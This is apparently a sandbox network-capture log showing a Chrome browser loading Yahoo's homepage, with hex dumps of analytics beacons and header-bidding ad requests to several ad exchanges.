2024-01-10 23:27:35 UTC	405	IN	Data Raw: 33 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 33 75 79 30 49 6d 6d 31 6e 58 64 46 32 76 64 43 46 6c 79 4f 2d 77 22 3e 2f 2a 2a 20 41 6e 74 69 2d 66 72 61 75 64 20 61 6e 64 20 61 6e 74 69 2d 61 62 75 73 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 20 6f 6e 6c 79 2e 20 53 65 65 20 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 20 2a 2f 20 74 72 79 7b 76 61 72 20 63 6c 69 65 6e 74 73 3d 7b 27 73 6f 64 61 72 27 3a 27 68 Data Ascii: 33d<!DOCTYPE HTML><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body><script nonce="3uy0Imm1nXdF2vdCFlyO-w">/** Anti-fraud and anti-abuse applications only. See google.com/recaptcha */ try{var clients={'sodar':'h
2024-01-10 23:27:35 UTC	431	IN	Data Raw: 2e 64 61 74 61 29 3b 76 61 72 20 63 3d 63 6c 69 65 6e 74 73 5b 62 5b 27 69 64 27 5d 5d 3b 69 66 28 63 29 7b 76 61 72 20 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 69 6d 67 27 29 3b 64 2e 73 72 63 3d 63 2b 62 5b 27 70 61 72 61 6d 73 27 5d 2b 27 26 72 63 3d 27 2b 28 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 72 63 3a 3a 61 22 29 3f 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 72 63 3a 3a 62 22 29 3a 22 22 29 3b 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 72 63 3a 3a 65 22 2c 70 61 72 73 65 49 6e 74 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 Data Ascii: .data);var c=clients[b['id']];if(c){var d=document.createElement('img');d.src=c+b['params']+'&rc='+(localStorage.getItem("rc::a")?sessionStorage.getItem("rc::b"):"");window.document.body.appendChild(d);sessionStorage.setItem("rc::e",parseInt(sessionStorag
2024-01-10 23:27:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.4	50576	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:36 UTC	2414	OUT	POST /p?s=2023538075&t=LdGuM85EEtibriit,0.6372719931017659&_I=&_AO=0&_NOL=0&_R=&_P=3.53.38%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.38%04A_cn%03VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%031%04A_sid%036L7ZFHZdY5rW7mNl%04_w%03www.yahoo.com%2F%04_rid%030gast8pipu9uc%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQIEAMLB3AMEAVnThQQEAMAaoQUEAXjoqQcEACPSTQgEAWVv0QoCVVM%04A_cmi%03%7B%22AFT%22%3A1647%2C%22AFT1%22%3A1647%2C%22AFTNOAD%22%3A1647%2C%22STR%22%3A1378%2C%22VIC%22%3A2300%2C%22PLT%22%3A25643%2C%22DOMC%22%3A1924%2C%22HTTPC%22%3A180%2C%22CP%22%3A121%2C%22NCP%22%3A100%7D%04A_utm%03%7B%22CONNECTION_TYPE%22%3A%224g%22%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031704929255%04_ms%03344%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:36 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:36 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.4	50581	104.18.36.155	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	704	OUT	POST /openrtb/pbjs?s=1057985 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 961 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:38 UTC	961	OUT	Data Raw: 7b 22 69 64 22 3a 22 35 34 35 33 34 31 38 39 32 30 35 35 39 30 34 30 31 37 30 34 39 32 39 32 35 37 36 33 38 22 2c 22 73 69 74 65 22 3a 7b 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 73 6f 75 72 63 65 22 3a 22 70 72 65 62 69 64 22 2c 22 69 78 64 69 61 67 22 3a 7b 22 6c 73 22 3a 74 72 75 65 2c 22 6d 66 75 22 3a 30 2c 22 62 75 22 3a 31 2c 22 69 75 22 3a 30 2c 22 6e 75 22 3a 30 2c 22 6f 75 22 3a 30 2c 22 61 6c 6c 75 22 3a 31 2c 22 72 65 6e 22 3a 66 61 6c 73 65 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 31 33 2e 30 2d 70 72 65 22 2c 22 75 73 65 72 49 64 73 22 3a 5b 5d 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 76 70 64 22 3a 66 Data Ascii: {"id":"54534189205590401704929257638","site":{"page":"https://www.yahoo.com/"},"ext":{"source":"prebid","ixdiag":{"ls":true,"mfu":0,"bu":1,"iu":0,"nu":0,"ou":0,"allu":1,"ren":false,"version":"8.13.0-pre","userIds":[],"url":"https://www.yahoo.com/","vpd":f
2024-01-10 23:27:38 UTC	881	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:38 GMT Content-Type: application/json Content-Length: 51 Connection: close CF-Ray: 8438b1193a540a87-IAD CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:38 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VwMIQz1nL7XmFNa7qLgdkk7tdU4KUB34mkK48mkpx9cxrH4PONNd3otfgRC0K1ZEyrThb5YR1LoV1fqKnFg5nkjDL1Va9SDS0UwYuhPh8n6bYDHB1BRWrbkTcINhi9OkEsfOPPS5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:38 UTC	51	IN	Data Raw: 7b 22 69 64 22 3a 22 35 34 35 33 34 31 38 39 32 30 35 35 39 30 34 30 31 37 30 34 39 32 39 32 35 37 36 33 38 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"54534189205590401704929257638","seatbid":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.4	50582	104.36.115.111	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	3851	OUT	POST /translator?source=prebid-client HTTP/1.1 Host: hbopenbid.pubmatic.com Connection: keep-alive Content-Length: 932 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; SPugT=1704929250; PugT=1704929250
2024-01-10 23:27:38 UTC	932	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 37 30 34 39 32 39 32 35 37 36 34 35 22 2c 22 61 74 22 3a 31 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 34 38 38 34 34 31 38 35 34 32 31 30 36 39 34 34 31 37 30 34 39 32 39 32 35 37 36 33 38 22 2c 22 74 61 67 69 64 22 3a 22 35 35 33 37 33 30 33 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 65 78 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 62 61 64 73 6c 6f 74 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 22 7d 2c 22 67 70 69 64 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 22 7d 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 2c 22 66 Data Ascii: {"id":"1704929257645","at":1,"cur":["USD"],"imp":[{"id":"48844185421069441704929257638","tagid":"5537303","secure":1,"ext":{"data":{"pbadslot":"us_yhp_main_dt_top_center"},"gpid":"us_yhp_main_dt_top_center"},"bidfloorcur":"USD","banner":{"w":728,"h":90,"f
2024-01-10 23:27:38 UTC	227	IN	HTTP/1.1 204 No Content Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache, no-store, must-revalidate Date: Wed, 10 Jan 2024 23:27:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.4	50583	34.111.85.214	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	1445	OUT	POST /rtb/yhb?cid=8YHBJ3BJ0 HTTP/1.1 Host: m.hb.yahoo.net Connection: keep-alive Content-Length: 1959 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:38 UTC	1959	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6f 67 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 61 62 74 65 22 3a 22 53 53 50 5f 43 4c 49 45 4e 54 22 2c 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 59 48 42 4a 33 Data Ascii: {"site":{"domain":"www.yahoo.com","page":"https://www.yahoo.com/","ref":"","topMostLocation":"https://www.yahoo.com/","isTop":true,"canonical_url":"https://www.yahoo.com/","og_url":"https://www.yahoo.com/"},"ext":{"abte":"SSP_CLIENT","customer_id":"8YHBJ3
2024-01-10 23:27:38 UTC	562	IN	HTTP/1.1 200 OK server: nginx date: Wed, 10 Jan 2024 23:27:38 GMT content-type: application/json;charset=utf-8 cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Wed, 10 Jan 2024 23:27:38 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com via: 1.1 google Alt-Svc: clear Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:38 UTC	690	IN	Data Raw: 33 64 39 63 0d 0a 7b 22 69 64 22 3a 22 33 37 34 35 35 33 39 36 31 30 35 32 35 32 37 34 37 31 37 30 34 39 32 39 32 35 37 36 33 36 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 7b 22 6e 6f 5f 62 69 64 22 3a 66 61 6c 73 65 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 36 34 33 39 34 38 34 37 33 39 33 36 33 36 31 32 31 37 30 34 39 32 39 32 35 37 36 33 38 22 2c 22 63 70 6d 22 3a 30 2e 30 30 37 2c 22 61 64 22 3a 22 3c 64 69 76 20 69 64 3d 5c 22 72 63 5f 33 65 35 36 61 66 66 34 30 33 64 66 32 30 35 35 36 62 34 38 62 37 30 34 63 62 38 62 65 66 37 34 5c 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 74 72 79 7b 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 Data Ascii: 3d9c{"id":"374553961052527471704929257636","bidList":[{"no_bid":false,"requestId":"64394847393636121704929257638","cpm":0.007,"ad":"<div id=\"rc_3e56aff403df20556b48b704cb8bef74\"></div><script>try{new Image().src=\"https://lg1.hb.yahoo.net/log?logid=kf
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 72 29 7b 7d 76 61 72 20 75 74 69 6d 65 3d 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 2d 5c 22 31 37 30 34 39 32 39 32 35 38 38 32 34 5c 22 3b 75 74 69 6d 65 3d 75 74 69 6d 65 3e 30 3f 75 74 69 6d 65 3a 5c 22 5c 22 3b 76 61 72 20 6d 6e 73 66 3d 31 3b 69 66 28 77 69 6e 64 6f 77 2e 24 73 66 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 6d 6e 73 66 3d 30 7d 76 61 72 20 72 61 6e 64 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 76 61 72 20 5f 6d 6e 4c 67 64 3d 5c 22 68 74 74 70 73 3a 2f 2f 6c 67 31 2e 68 62 2e 79 61 68 6f 6f 2e 6e 65 74 2f 63 6c 6f 67 3f 6c 6f 67 69 64 3d 61 77 6c 6f 67 26 6c 70 65 72 3d 31 26 69 74 79 70 65 69 64 3d 38 34 26 69 74 79 70 65 3d 59 48 42 26 63 63 3d 55 53 26 63 69 64 3d 38 59 48 42 4a 33 42 4a 30 26 72 65 71 69 Data Ascii: r){}var utime=(new Date()).getTime()-\"1704929258824\";utime=utime>0?utime:\"\";var mnsf=1;if(window.$sf===undefined){mnsf=0}var rand=Math.random();var _mnLgd=\"https://lg1.hb.yahoo.net/clog?logid=awlog&lper=1&itypeid=84&itype=YHB&cc=US&cid=8YHBJ3BJ0&reqi
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 3d 64 65 73 6b 74 6f 70 26 79 72 3d 55 53 26 79 6c 61 6e 67 3d 65 6e 2d 55 53 26 79 73 3d 66 70 26 68 65 61 64 65 72 5f 6c 61 6e 67 3d 74 72 75 65 26 72 74 74 74 69 6d 65 3d 32 33 34 26 72 65 71 5f 74 69 64 5f 70 72 65 73 65 6e 74 3d 66 61 6c 73 65 26 70 76 69 64 3d 32 35 30 30 33 26 70 61 72 65 6e 74 5f 70 76 69 64 3d 32 35 30 30 30 26 70 72 76 41 63 63 49 64 3d 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 26 70 72 76 41 70 69 49 64 3d 36 30 31 35 37 26 70 63 49 64 3d 33 34 37 39 33 30 38 33 33 30 31 38 30 32 33 39 30 30 30 56 31 30 26 61 64 6a 30 3d 30 2e 30 26 61 64 6a 31 3d 30 2e 30 26 61 64 6a 32 3d 30 2e 30 26 70 73 74 3d 30 26 63 72 69 64 3d 32 30 36 35 31 32 31 34 36 26 70 72 73 70 74 3d 68 65 61 64 65 72 42 69 64 26 Data Ascii: =desktop&yr=US&ylang=en-US&ys=fp&header_lang=true&rtttime=234&req_tid_present=false&pvid=25003&parent_pvid=25000&prvAccId=us_yhp_main_dt_top_center&prvApiId=60157&pcId=3479308330180239000V10&adj0=0.0&adj1=0.0&adj2=0.0&pst=0&crid=206512146&prspt=headerBid&
2024-01-10 23:27:38 UTC	1252	IN	Data Raw: 33 41 25 32 46 25 32 46 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 26 6d 78 5f 73 62 70 3d 2d 31 30 2e 30 26 6d 78 5f 65 70 62 63 3d 36 30 31 35 37 26 6d 78 5f 73 73 50 72 6f 66 69 6c 65 3d 30 26 6d 78 5f 73 75 61 5f 6f 73 5f 6e 3d 57 69 6e 64 6f 77 73 26 6d 78 5f 6c 72 3d 30 26 6d 78 5f 62 73 42 75 63 6b 65 74 52 61 3d 30 26 6d 78 5f 6c 72 5f 73 65 67 5f 64 65 61 6c 3d 30 26 6d 78 5f 61 71 63 70 6c 5f 63 72 69 64 3d 30 26 6d 78 5f 62 73 42 75 63 6b 65 74 4b 74 77 52 6c 3d 33 26 6d 78 5f 67 5f 75 69 64 5f 73 65 6e 74 25 33 43 25 33 45 3d 43 6f 6f 6b 69 65 26 6d 78 5f 63 75 72 72 65 6e 74 45 62 70 3d 32 39 32 35 2e 31 34 30 30 39 37 37 31 32 38 37 35 36 26 6d 78 5f 67 70 69 64 5f 66 6f 72 6d 61 74 3d 45 50 43 26 6d 78 5f 62 73 73 5f 61 6c 67 6f 73 25 33 43 25 Data Ascii: 3A%2F%2Fwww.yahoo.com&mx_sbp=-10.0&mx_epbc=60157&mx_ssProfile=0&mx_sua_os_n=Windows&mx_lr=0&mx_bsBucketRa=0&mx_lr_seg_deal=0&mx_aqcpl_crid=0&mx_bsBucketKtwRl=3&mx_g_uid_sent%3C%3E=Cookie&mx_currentEbp=2925.1400977128756&mx_gpid_format=EPC&mx_bss_algos%3C%
